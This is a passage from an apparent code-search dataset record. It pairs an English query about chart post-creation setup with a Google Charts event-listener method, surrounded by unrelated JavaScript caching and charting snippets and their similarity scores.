logger.error(\"CACHE_SET_FAILURE: new_0\");\n }else{\n logger.debug(\"CACHE_SET_SUCCESS: new_0\");\n }\n });\n });\n }", "function cacheRquest() {\n pendingActions.push({ data:data, done:done });\n }", "async function updateCache(request) {\n const c = await caches.open(CACHE);\n const response = await fetch(request);\n console.log('Updating cache ', request.url);\n return c.put(request, response);\n}", "cachedCheck(document) {\n const cacheResult = this.cache.get(document);\n if (cacheResult) {\n return cacheResult;\n }\n const result = this.check(document);\n this.cache.set(document, result);\n return result;\n }", "if(iRequestStart >= oCache.oCacheData.length){\r\n \tbNeedServer=true;\r\n }", "function Cache() {}", "async function self(...args) {\n console.info('FetchCached', ...args);\n\n let cached = false;\n request = args[0] instanceof Request ? args.shift() : new Request(...args);\n request.time = Date.now();\n console.info('FetchCached', { request });\n response = null;\n try {\n response = await browserCache.get(request);\n url = impl.request.call(this, request);\n\n cacheObj.hits[url] = (cacheObj.hits[url] || 0) + 1;\n } catch(error) {}\n if(response) {\n cached = true;\n } else {\n try {\n response = await fetch(request);\n response.time = Date.now();\n } catch(error) {}\n if(response) {\n let r = await browserCache.set(request, response.clone());\n console.info('CachedFetch set', { request, response, r });\n }\n }\n\n console.info('cache ', cached ? 'hit' : 'miss', { request, response });\n if(cached) response.cached = true;\n response.request = request;\n\n return response;\n }", "function cache(maxAge = 86400) {\n return function(req, res, next) {\n const fresh = checkFresh(req)\n if(fresh) {\n res.sendStatus(304);\n return;\n } else {\n wrapResponseMethod(req, res, maxAge);\n next();\n }\n }\n}", "function useFetch(cacheKey, fetcher) {\n const {instance, inProgress} = useMsal();\n const [graphData] = useCache(cacheKey, fetcher, {\n enable:inProgress === InteractionStatus.None,\n onError: (error)=>{\n if (error instanceof InteractionRequiredAuthError) {\n instance.acquireTokenRedirect({\n ...loginRequest,\n account: instance.getActiveAccount()\n });\n }\n },\n onSuccess: (data) =>{\n\n }\n });\n\n // 1. cache slices being observed\n // 2. still tied to rendering\n return [graphData];\n}", "@bind\n setUseCache(value) {\n this.cache = value\n }", "function fetchTrap(event) {\n console.log(event.request.url);\n // if there's a match in the cache, it's returned,\n // else it's fetched, cached and returned\n event.respondWith(\n (async () => {\n let response = await caches.match(event.request);\n if (response) return response;\n response = await fetch(event.request);\n const cache = await caches.open('v1');\n cache.put(event.request, response.clone());\n return response;\n })()\n );\n}", "static fetchReviewsByRestaurantId(restaurantId) {\r\n const storeNameReview = 'mws-review';\r\n const url = `http://localhost:1337/reviews/?restaurant_id=${restaurantId}`;\r\n const reviewStorage = localforage.createInstance({\r\n name: DBHelper.DATABASE_NAME,\r\n driver: localforage.INDEXEDDB,\r\n version: 1.0,\r\n storeName: storeNameReview,\r\n });\r\n\r\n const tableName = `reviews__${restaurantId}`;\r\n\r\n return new Promise((resolve, reject) => {\r\n reviewStorage.getItem(tableName)\r\n .then((result) => {\r\n if (!result) {\r\n // console.log(`[Comment] ${tableName} not found in cache`);\r\n fetchAndUpdateCache()\r\n .then(resolve)\r\n .catch(reject);\r\n } else {\r\n // console.log(`[Comment] Successfully fetched review data from cache for restaurant ${restaurantId}`);\r\n fetchAndUpdateCache(); // Update cache if possible, status not important\r\n resolve(result);\r\n }\r\n })\r\n .catch((error) => {\r\n reject(`LocalForage getItem ${tableName} failed: ${error}`);\r\n });\r\n });\r\n\r\n async function fetchAndUpdateCache() {\r\n try {\r\n const response = await fetch(url);\r\n const json = await response.json();\r\n reviewStorage.setItem(tableName, json);\r\n // console.log(`[Comment] Successfully fetched review data for restaurant ${restaurantId} and updated cache`);\r\n return json;\r\n }\r\n catch(error) {\r\n Promise.reject(`Error encountered in fetchAndUpdateCache(): ${error}`);\r\n }\r\n }\r\n }" ]
[ "0.6530783", "0.64854586", "0.64808965", "0.6446925", "0.6425635", "0.637827", "0.6372033", "0.63310915", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.63053054", "0.6279226", "0.6226433", "0.62185144", "0.6188486", "0.6160425", "0.61441076", "0.611769", "0.6116868", "0.611288", "0.60762936", "0.6065185", "0.6042808", "0.6042184", "0.6025129", "0.6012654", "0.6012477", "0.6009377", "0.5982245", "0.5977071", "0.59742105", "0.59632653", "0.5955952", "0.59483314", "0.5947535", "0.5946362", "0.59390235", "0.5891484", "0.58826566", "0.5876731", "0.5867694", "0.58443207", "0.5839749", "0.5837903", "0.58356404", "0.5822375", "0.5806158", "0.5806158", "0.5804537", "0.5803718", "0.5803631", "0.57998526", "0.5788973", "0.5787557", "0.5783055", "0.5775278", "0.57750833", "0.5773771", "0.5771559", "0.57677317", "0.5766046", "0.57541037", "0.57499236", "0.57310516", "0.5724363" ]
0.57427937
98
The chart has been created. At this point, the class can perform some do some post creation configuration.
didCreateChart (chart) { google.visualization.events.addListener (chart, 'ready', this.didReady.bind (this)); google.visualization.events.addListener (chart, 'select', this.didSelect.bind (this)); google.visualization.events.addListener (chart, 'error', this.didError.bind (this)); google.visualization.events.addListener (chart, 'onmouseover', this.didMouseOver.bind (this)); google.visualization.events.addListener (chart, 'onmouseout', this.didMouseOut.bind (this)); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "ready() {\n super.ready();\n this._chart = new Chart(this.$.chart, this._chartOptions);\n }", "function chart(){\n\t\tthis.init();\n\t}", "_setChartConfig() {\n /**\n * get the theme settings (color, font...)\n * and init the graph chart\n */\n this._getThemeSettings()\n if (this.ctx) {\n let settings = {\n ctx: this.ctx,\n canvasId: this.canvasId,\n entity_items: this.entity_items,\n chart_type: this.chart_type,\n chartconfig: this.chartconfig,\n loader: this.loader,\n debugmode: this.DEBUGMODE,\n debugdata: this.DEBUGDATA\n }\n this.graphChart = new graphChart(settings)\n } else {\n console.error(\"No chart.js container found !\")\n }\n }", "_setChartConfig() {\n /**\n * get the theme settings (color, font...)\n * and init the graph chart\n */\n this._getThemeSettings()\n if (this.ctx) {\n let settings = {\n ctx: this.ctx,\n canvasId: this.canvasId,\n entity_items: this.entity_items,\n chart_type: this.chart_type,\n chartconfig: this.chartconfig,\n loader: this.loader,\n debugmode: this.DEBUGMODE,\n debugdata: this.DEBUGDATA\n }\n this.graphChart = new graphChart(settings)\n } else {\n console.error(\"No chart.js container found !\")\n }\n }", "_showChart() {\n if (this.isDestroyed || this.isDestroying) {\n return;\n }\n\n // destroy existing chart if any\n this._destroyChart();\n\n // create and show the chart\n try {\n // get chart constructor options from properties and create the chart\n // TODO: tooltip as property\n const supportedProps = ['type', 'datasets', 'series', 'overrides', 'legend', 'style'];\n const props = this.getProperties(supportedProps);\n const definition = this.getWithDefault('definition', {});\n\n // Iterate over properties\n for (let prop in props) {\n // if the value contained in the prop is not undefined\n if (props.hasOwnProperty(prop) && props[prop] !== undefined) {\n // override the definition val with the prop val\n definition[prop] = props[prop];\n }\n }\n if (Object.keys(definition).length === 0) {\n // no properties have been set\n return;\n }\n\n // create the chart and attach it to the dom\n this.chart = new Chart(this.elementId, definition);\n\n // TODO: events aren't supported yet\n // wire up event handlers\n // const supportedEvents = ['Click', 'Mouseover', 'Mouseout', 'Mousemove', 'UpdateStart', 'UpdateEnd'];\n // supportedEvents.forEach(eventName => {\n // const attrName = `on${eventName}`;\n // if (typeof this[attrName] === 'function') {\n // const cedarEventName = eventName.toLowerCase().replace('update', 'update-');\n // this.chart.on(cedarEventName, this[attrName]);\n // }\n // });\n\n // TODO: show options aren't supported yet (are they even needed?)\n // get render options from properties but use elementId from component\n // const options = this.get('options') || {};\n // options.elementId = '#' + this.elementId;\n\n // autolabels will throw an error on pie charts\n // see https://github.com/Esri/cedar/issues/173\n // if (this.chart.type === 'pie') {\n // options.autolabels = false;\n // }\n } catch (err) {\n // an error occurred while creating the cart\n this._handleErr(err);\n return;\n }\n\n // ensure cedar dependencies are loaded before rendering the chart\n this.get('cedarLoader').loadDependencies().then(() => {\n if (this.get('isDestroyed') || this.get('isDestroying')) {\n return;\n }\n // call update start action (if any)\n const onUpdateStart = this.onUpdateStart;\n if (typeof onUpdateStart === 'function') {\n this.onUpdateStart()\n }\n // query the data and show the chart\n const timeout = this.get('timeout');\n let queryPromise;\n if (timeout) {\n // reject if the query results don't return before the timeout\n const timeoutPromise = rejectAfter(timeout, this.get('timeoutErrorMessage'));\n queryPromise = Promise.race([timeoutPromise, this.chart.query()]);\n } else {\n queryPromise = this.chart.query();\n }\n return queryPromise.then(response => {\n if (this.get('isDestroyed') || this.get('isDestroying')) {\n return;\n }\n const transform = this.get('transform');\n if (typeof transform === 'function') {\n // call transform closure action on each response\n for (const datasetName in response) {\n if (response.hasOwnProperty(datasetName)) {\n const dataset = this.chart.dataset(datasetName);\n response[datasetName] = transform(response[datasetName], dataset);\n }\n }\n }\n // render the chart\n this.chart.updateData(response).render();\n // call update end action (if any)\n const onUpdateEnd = this.onUpdateEnd;\n if (typeof onUpdateEnd === 'function') {\n onUpdateEnd(this.chart);\n }\n });\n }).catch(err => {\n // an error occurred while loading dependencies\n // or fetching, transforming or rendering data\n this._handleErr(err);\n });\n }", "_chartistLoaded() {\n this.__chartistLoaded = true;\n this._renderChart();\n }", "_setChartConfig() {\n let config = {}\n // get the config\n config.type = this.chart_type\n if (this._config.options) {\n config.options = {}\n config.options = this._config.options\n }\n this.chartconfig = config\n // get the theme settings (color, font...)\n this._getThemeSettings()\n // init the graph chart\n if (this.ctx) {\n let settings = {\n ctx: this.ctx,\n canvasId: this.canvasId,\n card_config: this._config,\n entities: this.entities,\n chart_locale: this.chart_locale,\n chart_type: this.chart_type,\n themeSettings: this.themeSettings,\n chartconfig: this.chartconfig,\n setting: this._config,\n loader: this.loader\n }\n this.graphChart = new graphChart(settings)\n } else {\n console.error(\"No chart.js container found !\")\n }\n }", "init() {\n\n\n\t\t\t\tChart.resize();\n\t\t\t\tChart.render();\n\t\t\t}", "componentDidUpdate() {\n this.createChart();\n }", "function OnDataLoaded() {\n\t\tobjChart.showWaiting(false);\t\t\t\t\n\t\tobjChart.reorganize();\t\t\n\t}", "ready() {\n super.ready();\n\n const that = this;\n\n that._redefineProperty('customTicks');\n this._createElement();\n }", "makeChart() {\n setTimeout(() => {\n this.chart = this._renderChart();\n }, 100);\n }", "function init() {\n\n // AXIS LABELS\n // Set yAxis label to class 'yAxis-label'\n graph\n .append('text')\n .attr('class','yAxis-label')\n \n // Set xAxis label to class 'xAxis-label'\n graph\n .append('text')\n .attr('class','xAxis-label')\n\n // AXIS GROUPS\n // Create axisX group with class 'axisX'\n graph\n .append('g')\n .attr('class','axisX')\n .attr('id','axisX')\n \n // Create axisY group with class 'axisY'\n graph\n .append('g')\n .attr('class','axisY')\n .attr('id','axisY')\n\n\n // add event listner for any resizes (listener is debounced)\n window.addEventListener(\"resize\", debounce(resize, 200));\n drawChart(rawData, props);\n }", "createChartData() {\n /**\n * entities : all entities data and options\n * entityOptions : global entities options\n */\n if (!this.entity_items.isValid()) return null\n // const _data = this.entity_items.getData()\n\n const _data = this.entity_items.getChartLabelAndData()\n\n if (_data.length === 0) {\n console.error(\"Create Chart Data, no Data present !\")\n return null\n }\n\n let _defaultDatasetConfig = {\n mode: \"current\",\n unit: \"\"\n }\n\n let _graphData = this.getDefaultGraphData()\n _graphData.config.mode = \"simple\"\n\n /**\n * merge entity options\n */\n if (this.entity_options) {\n _defaultDatasetConfig = {\n ..._defaultDatasetConfig,\n ...this.entity_options\n }\n }\n\n /**\n * merge dataset_config\n * all entity labels\n * add dataset entities\n */\n _graphData.data.labels = _data.labels //this.entity_items.getNames()\n _graphData.data.datasets[0] = _defaultDatasetConfig\n _graphData.data.datasets[0].label = this.card_config.title || \"\"\n /**\n * add the unit\n */\n if (this.entity_options && this.entity_options.unit) {\n _graphData.data.datasets[0].unit = this.entity_options.unit || \"\"\n } else {\n _graphData.data.datasets[0].units = this.entity_items.getEntitieslist().map((item) => item.unit)\n }\n\n /**\n * case horizontal bar\n */\n\n if (this.card_config.chart.isChartType(\"horizontalbar\")) {\n _graphData.data.datasets[0].indexAxis = \"y\"\n }\n\n /**\n * custom colors from the entities\n */\n let entityColors = _data.colors //this.entity_items.getColors()\n\n if (this.entity_options && this.entity_options.gradient != undefined) {\n _graphData.config.gradient = true\n }\n\n if (entityColors.length === _graphData.data.labels.length) {\n _graphData.data.datasets[0].backgroundColor = entityColors\n _graphData.data.datasets[0].showLine = false\n } else {\n if (this.card_config.chart.isChartType(\"radar\")) {\n _graphData.data.datasets[0].backgroundColor = COLOR_RADARCHART\n _graphData.data.datasets[0].borderColor = COLOR_RADARCHART\n _graphData.data.datasets[0].borderWidth = 1\n _graphData.data.datasets[0].pointBorderColor = COLOR_RADARCHART\n _graphData.data.datasets[0].pointBackgroundColor = COLOR_RADARCHART\n _graphData.data.datasets[0].tooltip = true\n _graphData.config.gradient = false\n } else {\n /**\n * get backgroundcolor from DEFAULT_COLORS\n */\n entityColors = DEFAULT_COLORS.slice(1, _data.data.length + 1)\n _graphData.data.datasets[0].backgroundColor = entityColors\n _graphData.data.datasets[0].borderWidth = 0\n _graphData.data.datasets[0].showLine = false\n }\n }\n _graphData.data.datasets[0].data = _data.data\n _graphData.config.segmentbar = false\n\n /**\n * add the data series and return the new graph data\n */\n if (this.card_config.chart.isChartType(\"bar\") && this.card_config.chartOptions && this.card_config.chartOptions.segmented) {\n const newData = this.createSimpleBarSegmentedData(_graphData.data.datasets[0])\n if (newData) {\n _graphData.data.datasets[1] = {}\n _graphData.data.datasets[1].data = newData.data\n _graphData.data.datasets[1].tooltip = false\n _graphData.data.datasets[1].backgroundColor = newData.backgroundColors\n _graphData.data.datasets[1].borderWidth = 0\n _graphData.data.datasets[1].showLine = false\n _graphData.config.segmentbar = newData.data.length !== 0\n }\n }\n return _graphData\n }", "_initializeChart() {\n const {\n element,\n rootNode,\n zoomBehaviour,\n selectedProcessId\n } = this.getProperties('element', 'rootNode', 'zoomBehaviour', 'selectedProcessId');\n const el = select(element);\n\n // Needed for zooming\n this.centeringElement = el.select('.centering-element');\n\n const parent = el.select('svg');\n parent.call(zoomBehaviour);\n\n this.parent = parent;\n if (rootNode) {\n // Reset Zoom\n const transform = zoomIdentity\n .scale(1)\n .translate(0, 0);\n zoomBehaviour.transform(parent, transform);\n\n this._buildChart(rootNode);\n addSelectedClass(selectedProcessId);\n }\n }", "_buildChart(shouldRefresh, options) {\n this._createCanvas(options);\n this._drawInterface();\n this.buildChartMethod();\n }", "function setupChart() {\n\t\tvar $ = cmg.query,\n\t\t\tdata_list = cmg.display.data[0],\n\t\t\tdata = [];\n\n\t\tif (chart_type == \"bar\") {\n\t\t\tfor (i in data_list) {\n\t\t\t\tvar obj = {\n\t\t\t\t\tcategory: data_list[i][x_axis_column],\n\t\t\t\t\tprice: cmg.display.parse_float_liberally(data_list[i][y_axis_columns])\n\t\t\t\t}\n\t\t\t\tdata.push(obj);\n\t\t\t}\n\t\t} else {\n\t\t\tfor(var i in data_list) data.push(data_list[i]);\n\t\t}\n\n\t\t// SET UP THE SVG FOR THE CHART\n\t\tvis = d3.select(\"#dataVizChart\")\n\t\t\t.append(\"svg\")\n\t\t\t.attr({\n\t\t\t\t\"width\": width,\n\t\t\t\t\"height\": height,\n\t\t\t\t\"preserveAspectRatio\": \"xMinYMid\",\n\t\t\t\t\"viewBox\": \"0 0 \" + width + \" \" + height\n\t\t\t})\n\t\t\t.append('g')\n\t\t\t.attr({\n\t\t\t\t'transform': 'translate(0, 0)'\n\t\t\t})\n\n\t\taspect = chart_container.width() / chart_container.height();\n\n\t\t// SET UP THE LEGEND\n\t\tlegend = d3.select(\"#dataVizLegend\")\n\t\t\t.append(\"div\")\n\t\t\t.attr({\n\t\t\t\t\"class\": \"legend\",\n\t\t\t});\n\n\t\tdrawBarChart(data);\n\t}", "constructor(options){\n try{\n this.checkOptions(options);\n this.chartContainer = $(this.chartContainerId);\n this.chartIds = this.buildIds(options.chartTitles);\n this.buildChartElements();\n //will be dataset label\n this.chartTitles = options.chartTitles;\n this.datasets = this.buildDatasets(options);\n this.buildCharts(this.datasets,options);\n console.log('build charts');\n }\n catch(err){\n console.log('error with chart app: ',err);\n throw err;\n }\n }", "function initChartObjects() {\n console.log(\"initChartObjects\");\n\n // == display object properties: name, yearsMenu, schoolsMenu, studentsMenu, buildingsMenu, geographyMenu\n chartObject = new Chart(\"chart1\");\n }", "_chartJsChanged(newValue) {\n this.initChart(newValue);\n }", "@action.bound refreshChart() {\n this.newChart();\n }", "init() {\n $svg = $chart.append('svg').attr('class', 'pudding-chart');\n\n // create axis\n $axis = $svg.append('g').attr('class', 'g-axis');\n // setup viz group\n $vis = $svg.append('g').attr('class', 'g-vis');\n\n $label = $svg.append('g').attr('class', 'g-label');\n\n $axis.append('g').attr('class', 'axis--y axis--y--bg');\n $axis.append('g').attr('class', 'axis--y axis--y--fg');\n\n $label\n .append('text')\n .attr('class', 'text-comp text-comp--bg')\n .text(comp)\n .attr('x', -LABEL_SIZE / 2)\n .attr('y', -LABEL_SIZE / 2)\n .attr('text-anchor', 'end')\n .style('font-size', LABEL_SIZE);\n\n $label\n .append('text')\n .attr('class', 'text-comp text-comp--fg')\n .text(comp)\n .attr('x', -LABEL_SIZE / 2)\n .attr('y', -LABEL_SIZE / 2)\n .attr('text-anchor', 'end')\n .style('font-size', LABEL_SIZE);\n\n $label\n .append('text')\n .attr('class', 'text-label')\n .text(label)\n .attr('x', 0)\n .attr('y', -LABEL_SIZE / 2)\n .attr('text-anchor', endLabel ? 'end' : 'start')\n .style('font-size', LABEL_SIZE);\n }", "_chartJsInit(newValue) {\n this.initChart(newValue);\n }", "didInsertElement() {\n this._super(...arguments);\n let chartsCanvas = this.$('.chart-canvas')[0];\n this.set('_chartsCanvas', chartsCanvas);\n }", "_initializeComponent() {\n //Heade\n this.elements.header = document.createElement(\"div\");\n this.elements.title = document.createElement(\"span\");\n this.elements.range = document.createElement(\"span\");\n\n this.elements.header.className = \"chart-header\";\n this.elements.title.className = \"chart-title\";\n this.elements.range.className = \"chart-range\";\n\n this.elements.header.appendChild(this.elements.title);\n this.elements.header.appendChild(this.elements.range);\n\n //Tooltip\n this.elements.tooltip = document.createElement(\"div\");\n this.elements.date = document.createElement(\"span\");\n this.elements.values = document.createElement(\"div\");\n\n this.elements.tooltip.className = \"chart-tooltip\";\n this.elements.date.className = \"chart-tooltip-date\";\n this.elements.values.className = \"chart-tooltip-values\";\n\n this.elements.tooltip.appendChild(this.elements.date);\n this.elements.tooltip.appendChild(this.elements.values);\n\n //Render\n this.elements.render = document.createElement(\"div\");\n this.elements.chart = document.createElement(\"canvas\");\n this.elements.layout = document.createElement(\"canvas\");\n\n this.elements.render.className = \"chart-render\";\n this.elements.chart.className = \"chart-render-chart\";\n this.elements.layout.className = \"chart-render-layout\";\n\n this.elements.render.appendChild(this.elements.chart);\n this.elements.render.appendChild(this.elements.layout);\n\n //Preview\n this.elements.control = document.createElement(\"div\");\n this.elements.preview = document.createElement(\"canvas\");\n this.elements.select = document.createElement(\"div\");\n this.elements.draggerLeft = document.createElement(\"div\");\n this.elements.draggerRight = document.createElement(\"div\");\n this.elements.coverLeft = document.createElement(\"div\");\n this.elements.coverRight = document.createElement(\"div\");\n\n this.elements.control.className = \"chart-control\";\n this.elements.preview.className = \"chart-preview\";\n this.elements.select.className = \"chart-select\";\n this.elements.draggerLeft.className = \"chart-dragger chart-dragger-left\";\n this.elements.draggerRight.className = \"chart-dragger chart-dragger-right\";\n this.elements.coverLeft.className = \"chart-cover chart-cover-left\";\n this.elements.coverRight.className = \"chart-cover chart-cover-right\";\n\n this.elements.control.appendChild(this.elements.preview);\n this.elements.control.appendChild(this.elements.coverLeft);\n this.elements.control.appendChild(this.elements.select);\n this.elements.select.appendChild(this.elements.draggerLeft);\n this.elements.select.appendChild(this.elements.draggerRight);\n this.elements.control.appendChild(this.elements.coverRight);\n\n //Graph buttons container\n this.elements.graphs = document.createElement(\"div\");\n\n this.elements.graphs.className = \"chart-graphs\";\n\n //Main container\n this.elements.container.className += \" chart-container\";\n\n this.elements.container.appendChild(this.elements.header);\n this.elements.container.appendChild(this.elements.tooltip);\n this.elements.container.appendChild(this.elements.render);\n this.elements.container.appendChild(this.elements.control);\n this.elements.container.appendChild(this.elements.graphs);\n }", "preDraw() {\n super.preDraw();\n // Prior to drawing we are adjusting config based elements here\n this.base.classed(\"chart-theme-\" + this.config(\"theme\"), true);\n\n this.scale.x.range([0, (this.config(\"width\") - this.config(\"margin-right\") - this.config(\"margin-left\"))]);\n this.scale.y.range([(this.config(\"height\") - this.config(\"margin-top\") - this.config(\"margin-bottom\")), 0]);\n\n this.containers.axis.x.attr(\"width\", this.config(\"width\")).attr(\"height\", this.config(\"margin-\" + this.config(\"orient-x\")));\n\n this.axis.x.orient(this.config(\"orient-x\")).ticks(this.config(\"ticks-x\"));\n this.axis.y.orient(this.config(\"orient-y\")).ticks(this.config(\"ticks-y\"));\n }", "onGraphLoaded() {\n this.axis = new CGFaxis(this, this.graph.referenceLength);\n\n this.gl.clearColor(...this.graph.background);\n\n this.setGlobalAmbientLight(...this.graph.ambient);\n\n this.initCameras();\n\n this.initLights();\n\n this.initMaterials();\n\n this.initSpritesheets();\n\n this.initTextures();\n\n this.sceneInited = true;\n }", "componentDidMount () {\n this.createChart();\n }", "function chartReadyHandler(id) {\n document.getElementById(id).setLayout(layoutStr);\n document.getElementById(id).setData(chartData);\n}", "function updateChart() {\n if(hasChartBeenMade === false) {\n makeChart();\n } else {\n myChart.data.labels = chartLabels;\n myChart.data.datasets[0].data = chartValues;\n }\n}", "static updateChart() {\n\t\tif(ChartManager.chartType === 'verticalbattle' ||\n\t\t\tChartManager.chartType === 'horizontalbattle') {\n\t\t\tupdateBattleChart();\n\t\t\treturn;\n\t\t} else if(ChartManager.chartType === 'horizontalBar') {\n\t\t\tChartManager.updateBarChart();\n\t\t} else {\n\t\t\tChartManager.updateNonRadarChart();\t\n\t\t}\n\n\t\tChartManager.chart.config.data = ChartManager.chartData;\n\t\tChartManager.chart.update();\n\t}", "static updateChart() {\n\t\tif(ChartManager.chartType === 'verticalbattle' ||\n\t\t\tChartManager.chartType === 'horizontalbattle') {\n\t\t\tupdateBattleChart();\n\t\t\treturn;\n\t\t} else if(ChartManager.chartType === 'horizontalBar') {\n\t\t\tChartManager.updateBarChart();\n\t\t} else {\n\t\t\tChartManager.updateNonRadarChart();\t\n\t\t}\n\n\t\tChartManager.chart.config.data = ChartManager.chartData;\n\t\tChartManager.chart.update();\n\t}", "updateChart () {\n \n }", "function onChartAfterGetAxes() {\n var _this = this;\n var options = this.options;\n this.colorAxis = [];\n if (options.colorAxis) {\n options.colorAxis = splat(options.colorAxis);\n options.colorAxis.forEach(function (axisOptions, i) {\n axisOptions.index = i;\n new ColorAxisClass(_this, axisOptions); // eslint-disable-line no-new\n });\n }\n }", "constructor(props) {\n super(props);\n\n // Initial state\n this.state = {\n chartLoaded: false,\n chart: []\n };\n }", "onGraphLoaded() {\n this.axis = new CGFaxis(this, this.graph.referenceLength);\n\n this.gl.clearColor(this.graph.background[0], this.graph.background[1], this.graph.background[2], this.graph.background[3]);\n\n this.setGlobalAmbientLight(this.graph.ambient[0], this.graph.ambient[1], this.graph.ambient[2], this.graph.ambient[3]);\n\n this.initLights();\n\n this.interface.initKeys();\n\n this.interface.addLights(this.graph.lights);\n this.interface.addViews(this.graph.views);\n this.interface.addThemes(this.themes, this);\n this.interface.addGameInterface(this, this.gameMode);\n\n this.initDefaultView();\n\n this.sceneInited = true;\n }", "viewMode() {\n this.initChart();\n }", "function renderCallback(renderConfig) {\n\n\t\tvar chart = renderConfig.moonbeamInstance;\n\t\tvar props = renderConfig.properties;\n\n\t\tchart.legend.visible = false;\n\n\t\tprops.width = renderConfig.width;\n\t\tprops.height = renderConfig.height;\n\t\t//props.data = renderConfig.data;\n\n\t\tprops.data = (renderConfig.data || []).map(function(datum){\n\t\t\tvar datumCpy = jsonCpy(datum);\n\t\t\tdatumCpy.elClassName = chart.buildClassName('riser', datum._s, datum._g, 'bar');\n\t\t\treturn datumCpy;\n\t\t});\n\n\t\tprops.buckets = renderConfig.dataBuckets.buckets;\n\t\tprops.formatNumber = renderConfig.moonbeamInstance.formatNumber;\n\n\t\tprops.isInteractionDisabled = renderConfig.disableInteraction;\n\n\t\tvar container = d3.select(renderConfig.container)\n\t\t\t.attr('class', 'tdg_marker_chart');\n\n\t\tprops.onRenderComplete = function() {\n console.log(container);\n renderConfig.modules.tooltip.updateToolTips();\n renderConfig.renderComplete();\n }\n\t\tvar marker_chart = tdg_marker(props);\n\n\n\t\tmarker_chart(container);\n\n\t}", "function setNewPosition() {\n\n // kill old charts\n agreePollChartClass.destroy();\n indexCsiChartPersentClass.destroy();\n managerChartClass.destroy();\n alertStatisticChartClass.destroy();\n var chartArr = [\n $('#agree-poll-chart-canvas'),\n // $('#alert-statistic-chart-canvas')\n ];\n\n chartArr.forEach(function (item) {\n var id = $(item).attr('id');\n var parent = $(item).parent();\n $(item).remove();\n $(parent).append('<canvas id=\"' + id + '\"><canvas>');\n });\n\n // set width and height\n setSize();\n\n // generate chart\n generateCharts();\n\n\n agreePollChartClass.update();\n indexCsiChartPersentClass.update();\n managerChartClass.update();\n alertStatisticChartClass.update();\n} // set new width and height for charts", "_drawChart()\n {\n\n }", "function createChart(options){var data=Chartist.normalizeData(this.data,options.reverseData,true);// Create new svg object\nthis.svg=Chartist.createSvg(this.container,options.width,options.height,options.classNames.chart);// Create groups for labels, grid and series\nvar gridGroup=this.svg.elem('g').addClass(options.classNames.gridGroup);var seriesGroup=this.svg.elem('g');var labelGroup=this.svg.elem('g').addClass(options.classNames.labelGroup);var chartRect=Chartist.createChartRect(this.svg,options,defaultOptions.padding);var axisX,axisY;if(options.axisX.type===undefined){axisX=new Chartist.StepAxis(Chartist.Axis.units.x,data.normalized.series,chartRect,Chartist.extend({},options.axisX,{ticks:data.normalized.labels,stretch:options.fullWidth}));}else {axisX=options.axisX.type.call(Chartist,Chartist.Axis.units.x,data.normalized.series,chartRect,options.axisX);}if(options.axisY.type===undefined){axisY=new Chartist.AutoScaleAxis(Chartist.Axis.units.y,data.normalized.series,chartRect,Chartist.extend({},options.axisY,{high:Chartist.isNumeric(options.high)?options.high:options.axisY.high,low:Chartist.isNumeric(options.low)?options.low:options.axisY.low}));}else {axisY=options.axisY.type.call(Chartist,Chartist.Axis.units.y,data.normalized.series,chartRect,options.axisY);}axisX.createGridAndLabels(gridGroup,labelGroup,this.supportsForeignObject,options,this.eventEmitter);axisY.createGridAndLabels(gridGroup,labelGroup,this.supportsForeignObject,options,this.eventEmitter);if(options.showGridBackground){Chartist.createGridBackground(gridGroup,chartRect,options.classNames.gridBackground,this.eventEmitter);}// Draw the series\ndata.raw.series.forEach(function(series,seriesIndex){var seriesElement=seriesGroup.elem('g');// Write attributes to series group element. If series name or meta is undefined the attributes will not be written\nseriesElement.attr({'ct:series-name':series.name,'ct:meta':Chartist.serialize(series.meta)});// Use series class from series data or if not set generate one\nseriesElement.addClass([options.classNames.series,series.className||options.classNames.series+'-'+Chartist.alphaNumerate(seriesIndex)].join(' '));var pathCoordinates=[],pathData=[];data.normalized.series[seriesIndex].forEach(function(value,valueIndex){var p={x:chartRect.x1+axisX.projectValue(value,valueIndex,data.normalized.series[seriesIndex]),y:chartRect.y1-axisY.projectValue(value,valueIndex,data.normalized.series[seriesIndex])};pathCoordinates.push(p.x,p.y);pathData.push({value:value,valueIndex:valueIndex,meta:Chartist.getMetaData(series,valueIndex)});}.bind(this));var seriesOptions={lineSmooth:Chartist.getSeriesOption(series,options,'lineSmooth'),showPoint:Chartist.getSeriesOption(series,options,'showPoint'),showLine:Chartist.getSeriesOption(series,options,'showLine'),showArea:Chartist.getSeriesOption(series,options,'showArea'),areaBase:Chartist.getSeriesOption(series,options,'areaBase')};var smoothing=typeof seriesOptions.lineSmooth==='function'?seriesOptions.lineSmooth:seriesOptions.lineSmooth?Chartist.Interpolation.monotoneCubic():Chartist.Interpolation.none();// Interpolating path where pathData will be used to annotate each path element so we can trace back the original\n// index, value and meta data\nvar path=smoothing(pathCoordinates,pathData);// If we should show points we need to create them now to avoid secondary loop\n// Points are drawn from the pathElements returned by the interpolation function\n// Small offset for Firefox to render squares correctly\nif(seriesOptions.showPoint){path.pathElements.forEach(function(pathElement){var point=seriesElement.elem('line',{x1:pathElement.x,y1:pathElement.y,x2:pathElement.x+0.01,y2:pathElement.y},options.classNames.point).attr({'ct:value':[pathElement.data.value.x,pathElement.data.value.y].filter(Chartist.isNumeric).join(','),'ct:meta':Chartist.serialize(pathElement.data.meta)});this.eventEmitter.emit('draw',{type:'point',value:pathElement.data.value,index:pathElement.data.valueIndex,meta:pathElement.data.meta,series:series,seriesIndex:seriesIndex,axisX:axisX,axisY:axisY,group:seriesElement,element:point,x:pathElement.x,y:pathElement.y});}.bind(this));}if(seriesOptions.showLine){var line=seriesElement.elem('path',{d:path.stringify()},options.classNames.line,true);this.eventEmitter.emit('draw',{type:'line',values:data.normalized.series[seriesIndex],path:path.clone(),chartRect:chartRect,index:seriesIndex,series:series,seriesIndex:seriesIndex,seriesMeta:series.meta,axisX:axisX,axisY:axisY,group:seriesElement,element:line});}// Area currently only works with axes that support a range!\nif(seriesOptions.showArea&&axisY.range){// If areaBase is outside the chart area (< min or > max) we need to 